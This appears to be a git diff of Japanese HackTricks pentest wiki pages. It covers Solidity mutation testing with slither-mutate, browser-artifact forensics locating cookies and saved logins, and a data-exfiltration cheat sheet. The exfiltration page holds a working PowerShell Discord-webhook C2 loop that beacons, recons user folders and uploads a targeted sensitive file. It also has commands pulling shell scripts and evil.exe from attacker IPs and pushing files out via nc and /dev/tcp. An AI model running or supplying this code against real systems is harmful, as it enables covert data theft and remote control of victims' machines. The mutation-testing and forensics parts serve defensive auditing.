もしDEXやAMM（Uniswap v4 hooks、rounding/precision abuse、flash‑loan amplified threshold‑crossing swaps）の実践的な悪用を調査している場合は、次を参照してください：
{{#ref}}
defi-amm-hook-precision.md

116
src/blockchain/smart-contract-security/mutation-testing-with-slither.md Normal file
View File

@ -0,0 +1,116 @@
# Solidity のミューテーションテスト (Slither (slither-mutate) を使用)
{{#include ../../../banners/hacktricks-training.md}}
ミューテーションテストは、Solidity コードに小さな変更（ミュータント）を体系的に導入し、テストスイートを再実行することで「テストをテスト」します。テストが失敗すればミュータントは殺されます。テストが通り続ける場合、ミュータントは生き残り、line/branch coverage では検出できないテストスイートの盲点を明らかにします。
重要なポイント: coverage はコードが実行されたことを示すだけで、mutation testing は振る舞いが実際にアサートされているかどうかを示します。
## なぜ coverage は誤解を招くか
次の単純なしきい値チェックを考えてみよう:
```solidity
function verifyMinimumDeposit(uint256 deposit) public returns (bool) {
if (deposit >= 1 ether) {
return true;
} else {
return false;
}
}
```
ユニットテストが閾値より下の値と閾値より上の値だけをチェックしている場合、等価性境界（==）をアサートしていなくても行/分岐カバレッジを100%に到達することがある。`deposit >= 2 ether` にリファクタリングしても、そのようなテストは通り続け、プロトコルのロジックを黙って破壊してしまう。
ミューテーションテストは条件を変更してテストが失敗することを検証することで、このギャップを暴露する。
## 一般的な Solidity のミューテーションオペレータ
Slither’s mutation engine は次のような、小さな意味を変える編集を多数適用する:
- 演算子の置換: `+` ↔ `-`, `*` ↔ `/`, など
- 代入の置換: `+=` → `=`, `-=` → `=`
- 定数の置換: non-zero → `0`, `true` ↔ `false`
- `if`/ループ内の条件の否定/置換
- 行全体をコメントアウト（CR: Comment Replacement）
- 行を `revert()` に置換
- データ型の入れ替え: 例: `int128` → `int64`
目標: 生成されたミュータントを100%排除する、または生存したものについて明確な理由で正当化する。
## slither-mutate を使ったミューテーションテストの実行
Requirements: Slither v0.10.2+.
- オプションとミューテータの一覧:
```bash
slither-mutate --help
slither-mutate --list-mutators
```
- Foundryの例 (capture results and keep a full log):
```bash
slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results)
```
- Foundry を使用していない場合は、`--test-cmd` をテスト実行コマンド（例: `npx hardhat test`, `npm test`）に置き換えてください。
成果物とレポートはデフォルトで `./mutation_campaign` に保存されます。検出されずに残った（生存した）ミュータントは検査のためにそこにコピーされます。
### 出力の理解
レポート行は次のようになります:
```text
INFO:Slither-Mutate:Mutating contract ContractName
INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT
```
- 角括弧内のタグは mutator のエイリアスです（例: `CR` = Comment Replacement）。
- `UNCAUGHT` は、変異した振る舞いの下でテストがパスしたことを意味します → アサーションが欠けている。
## 実行時間の短縮: 影響の大きい変異体(mutants)を優先する
Mutation campaigns は数時間〜数日かかることがあります。コスト削減のヒント：
- 範囲: まず重要な contracts/ディレクトリのみを対象にし、その後拡大する。
- Prioritize mutators: ある行で優先度の高い mutator が生き残った場合（例: 行全体がコメント化される）、その行については優先度の低いバリアントをスキップできる。
- テストを並列化できるなら並列化する；依存関係やビルドをキャッシュする。
- Fail-fast: 変更が明らかにアサーションの欠落を示す場合は早期に停止する。
## 生き残った mutants のトリアージワークフロー
1) 変異した行と振る舞いを確認する。
- 変異行を適用してフォーカスしたテストを実行し、ローカルで再現する。
2) テストを強化して、戻り値だけでなく状態をアサートする。
- 等価性や境界チェックを追加（例: 閾値が `==` であることをテスト）。
- 事後条件をアサート: 残高、総供給量、権限の効果、発行されたイベントなど。
3) 過度に許容的なモックを、実際の振る舞いに置き換える。
- モックがチェーン上で起こる transfers、失敗パス、イベント発行を強制することを確認する。
4) ファズテスト用の不変条件を追加する。
- 例: 価値保存、負でない残高、権限に関する不変式、適用可能なら単調増加する供給量など。
5) slither-mutate を再実行し、survivors が排除されるか明確に正当化されるまで続ける。
## ケーススタディ: 欠落した状態アサーションを露呈する事例 (Arkis protocol)
Arkis DeFi protocol の監査中に実施した mutation campaign では、次のような survivors が表面化した：
```text
INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT
```
代入をコメントアウトしてもテストが壊れなかったため、ポストステートのアサーションが欠如していることが明らかになった。根本原因: 実際のトークン転送を検証せず、ユーザー制御の _cmd.value を信用していた。攻撃者は期待される転送と実際の転送をずらして資金を流出させる可能性がある。結果: プロトコルの支払能力（solvency）に対する高重大度のリスク。
ガイダンス: 価値転送、会計、またはアクセス制御に影響する survivors（生き残ったミュータント）は、kill（無効化）されるまで高リスクとして扱うこと。
## 実践チェックリスト
- 対象を絞ったキャンペーンを実行する:
- `slither-mutate ./src/contracts --test-cmd="forge test"`
- survivorsをトリアージし、変異した振る舞い下で失敗するテスト／不変条件を書きます。
- 残高、供給量、承認、イベントを検証する。
- 境界テストを追加する（`==`、オーバーフロー/アンダーフロー、zero-address、zero-amount、空配列）。
- 現実的でないモックを置き換え、失敗モードをシミュレートする。
- すべてのミュータントが kill されるか、コメントと根拠で正当化されるまで反復する。
## References
- [Use mutation testing to find the bugs your tests don't catch (Trail of Bits)](https://blog.trailofbits.com/2025/09/18/use-mutation-testing-to-find-the-bugs-your-tests-dont-catch/)
- [Arkis DeFi Prime Brokerage Security Review (Appendix C)](https://github.com/trailofbits/publications/blob/master/reviews/2024-12-arkis-defi-prime-brokerage-securityreview.pdf)
- [Slither (GitHub)](https://github.com/crytic/slither)
{{#include ../../../banners/hacktricks-training.md}}

139
src/generic-hacking/exfiltration.md
View File

@ -2,9 +2,9 @@
{{#include ../banners/hacktricks-training.md}}
## 情報を抽出するための一般的にホワイトリストに登録されたドメイン
## 情報をexfiltrateするために一般的にホワイトリスト化されているドメイン
[https://lots-project.com/](https://lots-project.com/) を確認して、悪用できる一般的にホワイトリストに登録されたドメインを見つけてください。
悪用可能な一般的にホワイトリスト化されているドメインを見つけるには [https://lots-project.com/](https://lots-project.com/) を確認してください
## Copy\&Paste Base64
@ -13,7 +13,7 @@
base64 -w0 <file> #Encode file
base64 -d file #Decode file
```
**ウィンドウズ**
**Windows**
```
certutil -encode payload.dll payload.b64
certutil -decode payload.b64 payload.dll
@ -27,7 +27,7 @@ wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
fetch 10.10.14.14:8000/shell.py #FreeBSD
```
**ウィンドウズ**
**Windows**
```bash
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf
@ -45,7 +45,7 @@ Start-BitsTransfer -Source $url -Destination $output -Asynchronous
### ファイルのアップロード
- [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)
- [**GETおよびPOST（ヘッダーも含む）を印刷するSimpleHttpServer**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
- [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
- Pythonモジュール [uploadserver](https://pypi.org/project/uploadserver/):
```bash
# Listen to files
@ -59,7 +59,7 @@ curl -X POST http://HOST/upload -H -F 'files=@file.txt'
# With basic auth:
# curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world
```
### **HTTPSサーバー**
### **HTTPS Server**
```python
# from https://gist.github.com/dergachev/7028596
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
@ -100,9 +100,94 @@ if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
###
```
## Webhooks (Discord/Slack/Teams) を C2 と Data Exfiltration に利用
Webhooks は、JSON と任意の file parts を受け取る書き込み専用の HTTPS エンドポイントです。一般に信頼された SaaS ドメインで許可され、OAuth/API keys を必要としないため、低摩擦の beaconing と exfiltration に便利です。
Key ideas:
- エンドポイント: Discord は https://discord.com/api/webhooks/<id>/<token> を使用
- POST multipart/form-data で、payload_json というパートに {"content":"..."} を含め、任意の file パート（name は file）を添付
- オペレータループパターン: periodic beacon -> directory recon -> targeted file exfil -> recon dump -> sleep。HTTP 204 NoContent/200 OK が配信を確認
PowerShell PoC (Discord):
```powershell
# 1) Configure webhook and optional target file
$webhook = "https://discord.com/api/webhooks/YOUR_WEBHOOK_HERE"
$target = Join-Path $env:USERPROFILE "Documents\SENSITIVE_FILE.bin"
# 2) Reuse a single HttpClient
$client = [System.Net.Http.HttpClient]::new()
function Send-DiscordText {
param([string]$Text)
$payload = @{ content = $Text } | ConvertTo-Json -Compress
$jsonContent = New-Object System.Net.Http.StringContent($payload, [System.Text.Encoding]::UTF8, "application/json")
$mp = New-Object System.Net.Http.MultipartFormDataContent
$mp.Add($jsonContent, "payload_json")
$resp = $client.PostAsync($webhook, $mp).Result
Write-Host "[Discord] text -> $($resp.StatusCode)"
}
function Send-DiscordFile {
param([string]$Path, [string]$Name)
if (-not (Test-Path $Path)) { return }
$bytes = [System.IO.File]::ReadAllBytes($Path)
$fileContent = New-Object System.Net.Http.ByteArrayContent(,$bytes)
$fileContent.Headers.ContentType = [System.Net.Http.Headers.MediaTypeHeaderValue]::Parse("application/octet-stream")
$json = @{ content = ":package: file exfil: $Name" } | ConvertTo-Json -Compress
$jsonContent = New-Object System.Net.Http.StringContent($json, [System.Text.Encoding]::UTF8, "application/json")
$mp = New-Object System.Net.Http.MultipartFormDataContent
$mp.Add($jsonContent, "payload_json")
$mp.Add($fileContent, "file", $Name)
$resp = $client.PostAsync($webhook, $mp).Result
Write-Host "[Discord] file $Name -> $($resp.StatusCode)"
}
# 3) Beacon/recon/exfil loop
$ctr = 0
while ($true) {
$ctr++
# Beacon
$beacon = "━━━━━━━━━━━━━━━━━━`n:satellite: Beacon`n```User: $env:USERNAME`nHost: $env:COMPUTERNAME```"
Send-DiscordText -Text $beacon
# Every 2nd: quick folder listing
if ($ctr % 2 -eq 0) {
$dirs = @("Documents","Desktop","Downloads","Pictures")
$acc = foreach ($d in $dirs) {
$p = Join-Path $env:USERPROFILE $d
$items = Get-ChildItem -Path $p -ErrorAction SilentlyContinue | Select-Object -First 3 -ExpandProperty Name
if ($items) { "`n$d:`n - " + ($items -join "`n - ") }
}
Send-DiscordText -Text (":file_folder: **User Dirs**`n━━━━━━━━━━━━━━━━━━`n```" + ($acc -join "") + "```")
}
# Every 3rd: targeted exfil
if ($ctr % 3 -eq 0) { Send-DiscordFile -Path $target -Name ([IO.Path]::GetFileName($target)) }
# Every 4th: basic recon
if ($ctr % 4 -eq 0) {
$who = whoami
$ip = ipconfig | Out-String
$tmp = Join-Path $env:TEMP "recon.txt"
"whoami:: $who`r`nIPConfig::`r`n$ip" | Out-File -FilePath $tmp -Encoding utf8
Send-DiscordFile -Path $tmp -Name "recon.txt"
}
Start-Sleep -Seconds 20
}
```
注意:
- 同様のパターンは、incoming webhooks を使用する他のコラボレーションプラットフォーム（Slack/Teams）にも当てはまります。URL と JSON schema を適宜調整してください。
- Discord Desktop のキャッシュアーティファクトの DFIR と webhook/API の復元については、次を参照してください：
{{#ref}}
../generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/discord-cache-forensics.md
{{#endref}}
## FTP
### FTPサーバー (python)
### FTP サーバー (python)
```bash
pip3 install pyftpdlib
python3 -m pyftpdlib -p 21
@ -112,7 +197,7 @@ python3 -m pyftpdlib -p 21
sudo npm install -g ftp-srv --save
ftp-srv ftp://0.0.0.0:9876 --root /tmp
```
### FTPサーバー (pure-ftp)
### FTP サーバ (pure-ftp)
```bash
apt-get update && apt-get install pure-ftp
```
@ -150,7 +235,7 @@ kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
#For new Win10 versions
impacket-smbserver -smb2support -user test -password test test `pwd`
```
Or create a smb share **using samba**:
または smb share を **samba を使用して** 作成する:
```bash
apt-get install samba
mkdir /tmp/smb
@ -165,7 +250,7 @@ guest ok = Yes
#Start samba
service smbd restart
```
ウィンドウズ
Windows
```bash
CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
@ -175,13 +260,13 @@ WindPS-2> cd new_disk:
```
## SCP
攻撃者はSSHdを実行している必要があります。
The attackerはSSHdを実行している必要がある。
```bash
scp <username>@<Attacker_IP>:<directory>/<filename>
```
## SSHFS
もし被害者がSSHを持っている場合、攻撃者は被害者のディレクトリを攻撃者にマウントすることができます。
victimがSSHを使える場合、attackerはvictimのディレクトリをattacker側にマウントできます。
```bash
sudo apt-get install sshfs
sudo mkdir /mnt/sshfs
@ -194,7 +279,7 @@ nc -vn <IP> 4444 < exfil_file
```
## /dev/tcp
### 被害者からファイルをダウンロードする
### 被害者からファイルをダウンロード
```bash
nc -lvnp 80 > file #Inside attacker
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
@ -206,7 +291,7 @@ nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
exec 6< /dev/tcp/10.10.10.10/4444
cat <&6 > file.txt
```
**@BinaryShadow\_** に感謝します
感謝: **@BinaryShadow\_**
## **ICMP**
```bash
@ -228,33 +313,33 @@ sniff(iface="tun0", prn=process_packet)
```
## **SMTP**
SMTPサーバーにデータを送信できる場合、Pythonを使用してデータを受信するSMTPを作成できます:
SMTPサーバーにデータを送信できる場合、pythonでデータを受信するSMTPサーバを作成できます:
```bash
sudo python -m smtpd -n -c DebuggingServer :25
```
## TFTP
デフォルトでは、XPおよび2003では（他のバージョンではインストール中に明示的に追加する必要があります）
XP と 2003 ではデフォルトで有効です（その他の環境ではインストール時に明示的に追加する必要があります）
Kaliで、**TFTPサーバーを開始**:
Kali では、**TFTP サーバーを起動する**:
```bash
#I didn't get this options working and I prefer the python option
mkdir /tftp
atftpd --daemon --port 69 /tftp
cp /path/tp/nc.exe /tftp
```
**PythonによるTFTPサーバー:**
**TFTPサーバー (pythonで):**
```bash
pip install ptftpd
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
```
**被害者**で、Kaliサーバーに接続します:
**victim** で Kali サーバーに接続する:
```bash
tftp -i <KALI-IP> get nc.exe
```
## PHP
PHPのワンライナーを使ってファイルをダウンロードする:
PHP onelinerを使ってファイルをダウンロード:
```bash
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
```
@ -262,7 +347,7 @@ echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', '
```bash
Attacker> python -m SimpleHTTPServer 80
```
**犠牲者**
**被害者**
```bash
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
@ -296,13 +381,15 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
```
## Debug.exe
`debug.exe` プログラムはバイナリの検査だけでなく、**16進数からそれらを再構築する能力**も持っています。これは、バイナリの16進数を提供することで、`debug.exe` がバイナリファイルを生成できることを意味します。ただし、debug.exe には**最大64 kbのサイズのファイルをアセンブルする制限**があることに注意することが重要です。
`debug.exe` プログラムは、binaries の解析だけでなく、**hex から再構築する機能**も備えています。つまり、binary の hex を与えることで、`debug.exe` はその binary ファイルを生成できます。
ただし、debug.exe は **64 kb までのファイルしかアセンブルできない制限**があることに注意してください。
```bash
# Reduce the size
upx -9 nc.exe
wine exe2bat.exe nc.exe nc.txt
```
その後、テキストをウィンドウズシェルにコピー＆ペーストすると、nc.exeというファイルが作成されます。
その後、テキストを windows-shell にコピー＆ペーストすると、nc.exe というファイルが作成されます。
- [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)
@ -310,4 +397,10 @@ wine exe2bat.exe nc.exe nc.txt
- [https://github.com/Stratiz/DNS-Exfil](https://github.com/Stratiz/DNS-Exfil)
## References
- [Discord as a C2 and the cached evidence left behind](https://www.pentestpartners.com/security-blog/discord-as-a-c2-and-the-cached-evidence-left-behind/)
- [Discord Webhooks – Execute Webhook](https://discord.com/developers/docs/resources/webhook#execute-webhook)
- [Discord Forensic Suite (cache parser)](https://github.com/jwdfir/discord_cache_parser)
{{#include ../banners/hacktricks-training.md}}

139
src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md
View File

@ -1,58 +1,58 @@
# ブラウザのアーティファクト
# ブラウザアーティファクト
{{#include ../../../banners/hacktricks-training.md}}
## ブラウザのアーティファクト <a href="#id-3def" id="id-3def"></a>
## Browsers Artifacts <a href="#id-3def" id="id-3def"></a>
ブラウザのアーティファクトには、ナビゲーション履歴、ブックマーク、キャッシュデータなど、ウェブブラウザによって保存されるさまざまな種類のデータが含まれます。これらのアーティファクトは、オペレーティングシステム内の特定のフォルダーに保存され、ブラウザごとに場所や名前が異なりますが、一般的には同様のデータタイプを保存しています。
ブラウザアーティファクトは、ナビゲーション履歴、ブックマーク、キャッシュデータなど、Webブラウザによって保存されるさまざまな種類のデータを含みます。これらのアーティファクトはOS内の特定フォルダに保持され、ブラウザごとに場所や名前は異なりますが、一般的に類似したデータを格納します。
最も一般的なブラウザのアーティファクトの概要は次のとおりです：
ここでは、最も一般的なブラウザアーティファクトの概要を示します:
- **ナビゲーション履歴**: ユーザーが訪れたウェブサイトを追跡し、悪意のあるサイトへの訪問を特定するのに役立ちます。
- **オートコンプリートデータ**: 頻繁な検索に基づく提案で、ナビゲーション履歴と組み合わせることで洞察を提供します。
- **ブックマーク**: ユーザーが迅速にアクセスするために保存したサイト。
- **拡張機能とアドオン**: ユーザーがインストールしたブラウザの拡張機能やアドオン。
- **キャッシュ**: ウェブコンテンツ（例：画像、JavaScriptファイル）を保存し、ウェブサイトの読み込み時間を改善します。法医学的分析にとって貴重です。
- **ログイン情報**: 保存されたログイン資格情報。
- **ファビコン**: ウェブサイトに関連付けられたアイコンで、タブやブックマークに表示され、ユーザーの訪問に関する追加情報に役立ちます。
- **ブラウザセッション**: 開いているブラウザセッションに関連するデータ。
- **ダウンロード**: ブラウザを通じてダウンロードされたファイルの記録。
- **フォームデータ**: ウェブフォームに入力された情報で、将来のオートフィル提案のために保存されます。
- **サムネイル**: ウェブサイトのプレビュー画像。
- **Navigation History**: ユーザーのウェブサイト訪問を追跡し、悪意のあるサイトへの訪問特定に役立ちます。
- **Autocomplete Data**: 頻繁な検索に基づく候補で、Navigation Historyと組み合わせると洞察が得られます。
- **Bookmarks**: ユーザーが素早くアクセスするために保存したサイト。
- **Extensions and Add-ons**: ユーザーがインストールしたブラウザ拡張やアドオン。
- **Cache**: 画像やJavaScriptファイルなどのWebコンテンツを保存し、サイト読み込みを高速化する。フォレンジックで価値があることがあります。
- **Logins**: 保存されたログイン資格情報。
- **Favicons**: タブやブックマークに表示されるサイトのアイコンで、ユーザーの訪問に関する追加情報に有用です。
- **Browser Sessions**: 開いているブラウザセッションに関連するデータ。
- **Downloads**: ブラウザ経由でダウンロードしたファイルの記録。
- **Form Data**: Webフォームに入力された情報で、将来のオートフィル候補として保存されます。
- **Thumbnails**: サイトのプレビュー画像。
- **Custom Dictionary.txt**: ユーザーがブラウザの辞書に追加した単語。
## Firefox
Firefoxは、ユーザーデータをプロファイル内に整理し、オペレーティングシステムに基づいて特定の場所に保存します：
Firefoxはユーザーデータをプロファイル内で整理し、OSに応じて特定の場所に保存します:
- **Linux**: `~/.mozilla/firefox/`
- **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
- **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
これらのディレクトリ内の `profiles.ini` ファイルには、ユーザープロファイルがリストされています。各プロファイルのデータは、`profiles.ini` 内の `Path` 変数に名前が付けられたフォルダーに保存され、`profiles.ini` 自体と同じディレクトリにあります。プロファイルのフォルダーが欠けている場合、それは削除された可能性があります。
これらのディレクトリ内にある `profiles.ini` ファイルはユーザープロファイルを一覧表示します。各プロファイルのデータは `profiles.ini` 内の `Path` 変数で指定された名前のフォルダに保存され、`profiles.ini` と同じディレクトリにあります。プロファイルのフォルダが存在しない場合は削除されている可能性があります。
各プロファイルフォルダー内には、いくつかの重要なファイルがあります：
各プロファイルフォルダ内には、いくつかの重要なファイルがあります:
- **places.sqlite**: 履歴、ブックマーク、ダウンロードを保存します。Windows上の [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) のようなツールで履歴データにアクセスできます。
- 履歴とダウンロード情報を抽出するために特定のSQLクエリを使用します。
- **places.sqlite**: 履歴、ブックマーク、ダウンロードを保存します。Windowsでは [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) のようなツールで履歴データにアクセスできます。
- 特定のSQLクエリを使用して履歴やダウンロード情報を抽出します。
- **bookmarkbackups**: ブックマークのバックアップを含みます。
- **formhistory.sqlite**: ウェブフォームデータを保存します。
- **handlers.json**: プロトコルハンドラーを管理します。
- **formhistory.sqlite**: Webフォームデータを保存します。
- **handlers.json**: プロトコルハンドラを管理します。
- **persdict.dat**: カスタム辞書の単語。
- **addons.json** と **extensions.sqlite**: インストールされたアドオンと拡張機能に関する情報。
- **cookies.sqlite**: クッキーの保存、Windows上での検査には [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) が利用可能です。
- **cache2/entries** または **startupCache**: キャッシュデータで、[MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html) のようなツールを通じてアクセスできます。
- **addons.json** と **extensions.sqlite**: インストールされたアドオンと拡張機能の情報。
- **cookies.sqlite**: Cookieの保存。Windowsでは [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) を使って確認できます。
- **cache2/entries** または **startupCache**: キャッシュデータ。 [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html) のようなツールでアクセスできます。
- **favicons.sqlite**: ファビコンを保存します。
- **prefs.js**: ユーザー設定と好み。
- **downloads.sqlite**: 古いダウンロードデータベースで、現在は places.sqlite に統合されています。
- **prefs.js**: ユーザー設定とプリファレンス。
- **downloads.sqlite**: 旧ダウンロードデータベース（現在は places.sqlite に統合）。
- **thumbnails**: ウェブサイトのサムネイル。
- **logins.json**: 暗号化されたログイン情報。
- **key4.db** または **key3.db**: 機密情報を保護するための暗号化キーを保存します。
さらに、ブラウザのフィッシング対策設定を確認するには、`prefs.js` 内の `browser.safebrowsing` エントリを検索し、安全なブラウジング機能が有効または無効になっているかを示します。
さらに、ブラウザのアンチフィッシング設定は `prefs.js` 内の `browser.safebrowsing` エントリを検索することで、セーフブラウジング機能が有効か無効かを確認できます。
マスターパスワードを解読しようとする場合は、[https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt) を使用できます。\
次のスクリプトと呼び出しを使用して、ブルートフォースするパスワードファイルを指定できます：
To try to decrypt the master password, you can use [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\
With the following script and call you can specify a password file to brute force:
```bash:brute.sh
#!/bin/bash
@ -67,63 +67,69 @@ done < $passfile
## Google Chrome
Google Chromeは、オペレーティングシステムに基づいて特定の場所にユーザープロファイルを保存します。
Google Chrome はオペレーティングシステムに応じてユーザープロファイルを以下の場所に保存します:
- **Linux**: `~/.config/google-chrome/`
- **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
- **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
これらのディレクトリ内には、ほとんどのユーザーデータが**Default/**または**ChromeDefaultData/**フォルダーにあります。以下のファイルには重要なデータが含まれています。
これらのディレクトリ内では、ほとんどのユーザーデータが **Default/** または **ChromeDefaultData/** フォルダにあります。以下のファイルは重要なデータを保持しています:
- **History**: URL、ダウンロード、検索キーワードを含みます。Windowsでは、[ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html)を使用して履歴を読むことができます。「Transition Type」列には、リンクのクリック、入力されたURL、フォームの送信、ページの再読み込みなど、さまざまな意味があります。
- **Cookies**: クッキーを保存します。検査には、[ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html)が利用可能です。
- **Cache**: キャッシュデータを保持します。検査するには、Windowsユーザーは[ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html)を利用できます。
- **History**: URL、ダウンロード、検索キーワードを含みます。Windows では [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) を使って履歴を参照できます。"Transition Type" 列はリンクのクリック、直接入力されたURL、フォーム送信、ページのリロードなど、さまざまな意味を持ちます。
- **Cookies**: クッキーを保存します。調査には [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) が利用できます。
- **Cache**: キャッシュデータを保持します。検査するには Windows ユーザーは [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html) を使用できます。
Electron ベースのデスクトップアプリ（例: Discord）も Chromium Simple Cache を使用し、オンディスク上に豊富なアーティファクトを残します。参照:
{{#ref}}
discord-cache-forensics.md
{{#endref}}
- **Bookmarks**: ユーザーのブックマーク。
- **Web Data**: フォーム履歴を含みます。
- **Favicons**: ウェブサイトのファビコンを保存します。
- **Login Data**: ユーザー名やパスワードなどのログイン資格情報を含みます。
- **Current Session**/**Current Tabs**: 現在のブラウジングセッションとオープンタブに関するデータ。
- **Last Session**/**Last Tabs**: Chromeが閉じられる前の最後のセッション中にアクティブだったサイトに関する情報。
- **Extensions**: ブラウザ拡張機能やアドオンのディレクトリ。
- **Thumbnails**: ウェブサイトのサムネイルを保存します。
- **Preferences**: プラグイン、拡張機能、ポップアップ、通知などの設定を含む情報が豊富なファイル。
- **Browser’s built-in anti-phishing**: 反フィッシングおよびマルウェア保護が有効かどうかを確認するには、`grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`を実行します。出力に`{"enabled: true,"}`があるか探します。
- **Web Data**: フォーム履歴を含む。
- **Favicons**: サイトのファビコンを保存。
- **Login Data**: ユーザー名やパスワードなどのログイン情報を含む。
- **Current Session**/**Current Tabs**: 現在のセッションと開いているタブのデータ。
- **Last Session**/**Last Tabs**: Chrome を閉じる前の最後のセッションでアクティブだったサイトに関する情報。
- **Extensions**: ブラウザ拡張やアドオンのディレクトリ。
- **Thumbnails**: サイトのサムネイルを保存。
- **Preferences**: プラグイン、拡張、ポップアップ、通知などの設定を含む情報豊富なファイル。
- **Browser’s built-in anti-phishing**: anti-phishing とマルウェア保護が有効か確認するには `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences` を実行してください。出力に `{"enabled: true,"}` があれば機能は有効です。
## **SQLite DB Data Recovery**
前のセクションで観察できるように、ChromeとFirefoxの両方は**SQLite**データベースを使用してデータを保存しています。**削除されたエントリを回復するために**[**sqlparse**](https://github.com/padfoot999/sqlparse) **または** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases) **を使用することが可能です。**
前節で見たように、Chrome と Firefox はデータを保存するために **SQLite** データベースを使用しています。削除されたエントリは [**sqlparse**](https://github.com/padfoot999/sqlparse) または [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases) を使って復元できる可能性があります。
## **Internet Explorer 11**
Internet Explorer 11は、データとメタデータをさまざまな場所で管理し、保存された情報とその対応する詳細を分離して簡単にアクセスおよび管理できるようにします。
Internet Explorer 11 はデータとメタデータを複数の場所に分散して管理しており、保存情報とその詳細を分離して簡単にアクセス・管理できるようにしています。
### Metadata Storage
Internet Explorerのメタデータは、`%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data`に保存されます（VXはV01、V16、またはV24です）。これに伴い、`V01.log`ファイルは`WebcacheVX.data`との修正時間の不一致を示すことがあり、`esentutl /r V01 /d`を使用して修復が必要です。このメタデータはESEデータベースに格納されており、photorecや[**ESEDatabaseView**](https://www.nirsoft.net/utils/ese_database_view.html)などのツールを使用して回復および検査できます。**Containers**テーブル内では、各データセグメントが保存されている特定のテーブルやコンテナを識別でき、Skypeなどの他のMicrosoftツールのキャッシュ詳細も含まれています。
メタデータは `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data`（VX は V01, V16, または V24）に保存されます。これに伴う `V01.log` ファイルは `WebcacheVX.data` と修正時刻が一致しないことがあり、その場合は `esentutl /r V01 /d` を使って修復が必要になることがあります。このメタデータは ESE データベースに格納されており、photorec や [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) のようなツールで復元・検査できます。**Containers** テーブル内では、各データセグメントが格納されている具体的なテーブルやコンテナ（Skype など他の Microsoft ツールのキャッシュの詳細を含む）を識別できます。
### Cache Inspection
[IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html)ツールを使用すると、キャッシュの検査が可能で、キャッシュデータ抽出フォルダーの場所が必要です。キャッシュのメタデータには、ファイル名、ディレクトリ、アクセス回数、URLの起源、キャッシュ作成、アクセス、修正、期限切れのタイムスタンプが含まれます。
[IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) はキャッシュ検査を可能にするツールで、キャッシュデータを抽出したフォルダの場所を指定する必要があります。キャッシュのメタデータにはファイル名、ディレクトリ、アクセス回数、URL の起点、キャッシュ作成・アクセス・変更・有効期限のタイムスタンプが含まれます。
### Cookies Management
クッキーは[IECookiesView](https://www.nirsoft.net/utils/iecookies.html)を使用して調査でき、メタデータには名前、URL、アクセス回数、さまざまな時間関連の詳細が含まれます。永続的なクッキーは`%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`に保存され、セッションクッキーはメモリに存在します。
